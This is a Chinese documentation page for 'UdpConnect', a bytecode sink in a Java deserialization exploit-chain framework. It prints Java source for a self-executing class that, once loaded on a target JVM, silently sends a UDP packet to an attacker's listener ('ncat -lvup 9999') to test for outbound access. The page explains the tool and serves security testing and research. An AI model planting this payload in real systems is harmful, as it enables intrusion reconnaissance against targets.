Skip to content

Latest commit

 

History

History
75 lines (66 loc) · 3.95 KB

File metadata and controls

75 lines (66 loc) · 3.95 KB

发起 UDP 请求(UdpConnect)

  • 类别:bytecode 别名:— 优先级:30
  • 作者:Ar3h
  • 依赖:无(生成字节码仅依赖 JDK java.net 自身)

作用

生成一段自执行字节码:被目标 JVM 加载后静态块自动实例化,构造函数向指定 IP:port 发送一个 UDP 数据包(内容 hello)。用于判断目标是否具备 UDP 出网能力——攻击端用 ncat -lvup 9999 监听即可确认连通性。是链尾探测型 sink(END),不执行命令。

链接标签

  • 入口 tagsBytecode(产出原始字节码)、END(链终点)。注意:不带 Echo,它是网络探测而非回显。
  • 衔接 nextTags:空 —— 终点构件。
  • excludes:无。

源码剖析

gadget 本体把模板类的两个静态字段(ipport)改写为用户值后返回字节码:

@Param(name="ip")
public String ip = "127.0.0.1";
@Param(name="udp port", type=ParamType.Integer)
public int port = 9999;

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(UdpConnectBytecode.class);
    javassistHelper.modifyStringField("ip", this.ip);      // 改写 static String ip
    javassistHelper.modifyIntField("port", this.port);     // 改写 static int port
    return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);   // END:内层调用仅为协议一致
    return this.getObject();
}

探测逻辑在模板构造函数(static { new UdpConnectBytecode(); } 触发):

// UdpConnectBytecode.java(全部逻辑)
public UdpConnectBytecode() {
    try {
        DatagramSocket socket = new DatagramSocket();
        String message = "hello";
        byte[] buffer = message.getBytes();
        InetAddress address = InetAddress.getByName(ip);
        DatagramPacket packet = new DatagramPacket(buffer, buffer.length, address, port);
        socket.send(packet);   // 向 ip:port 发一个 UDP 包
        socket.close();
    } catch (Exception exception) {
        // 静默吞异常
    }
}

要点:

  • 纯 JDK、无第三方依赖:只用 DatagramSocket/DatagramPacket/InetAddress,任何 JRE 都可运行,适合最小化探测。
  • UDP 无连接socket.send 不保证送达也不等待响应,故连通性判定靠攻击端监听(ncat -lvup <port> 收到 hello 即证明目标 UDP 出网)。相较 TCP 探测(如 TcpConnect)能穿透只放行 UDP 的出网策略。
  • 通过 JavassistHelper.modifyStringField/modifyIntField 注入 ip/port,机制与 Echo 系一致:改写模板静态常量后 getBytecode()
  • 全程 try/catch 静默,探测失败不产生可见异常。

参数(@Param)

字段 名称 说明 默认 可选值
ip ip 接收 UDP 包的目标(攻击端监听)IP 127.0.0.1 任意 IP/主机名
port udp port 目标 UDP 端口(ParamType.Integer 9999 任意端口

适用版本与原理要点

  • description:用于判断 udp 协议是否出网,配合 ncat -lvup 9999 监听。priority=30。
  • 只做出网探测、不回显不执行命令;hello 载荷固定,一次实例化发一次。
  • 生效前提:字节码被目标端加载并实例化(通常经 TemplatesImpl)。

所属预设链

自由构件,未直接出现在 51 条预设链中。用法:作为“命令执行/探测”类链(如 [BytecodeConvert, Exec])的 sink,用 UdpConnect 替换 Exec,把利用点变成 UDP 出网探测。

关联